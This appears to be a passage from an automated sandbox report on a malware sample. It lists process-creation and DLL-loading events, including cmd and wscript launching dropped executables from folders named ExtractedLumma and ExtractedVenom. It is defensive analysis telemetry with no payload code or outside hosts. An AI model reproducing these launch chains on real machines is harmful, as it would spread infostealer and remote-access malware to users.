Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe "lm.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cdprt.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wpnapps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: smartscreenps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: wpnapps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: capabilityaccessmanagerclient.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: cdprt.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: smartscreenps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: smartscreenps.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.internal.shell.broker.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjistfr Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\34CA.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: uiautomationcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Section loaded: wintypes.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: winhttp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: webio.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: mswsock.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: iphlpapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: winnsi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: sspicli.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: dnsapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: rasadhlp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: schannel.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ntasn1.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ncrypt.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: msasn1.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: cryptsp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: rsaenh.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: cryptbase.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: gpapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: dpapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: wbemcomn.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: amsi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: userenv.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: profapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: version.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: uxtheme.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kdscli.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: g2m.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: g2m.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
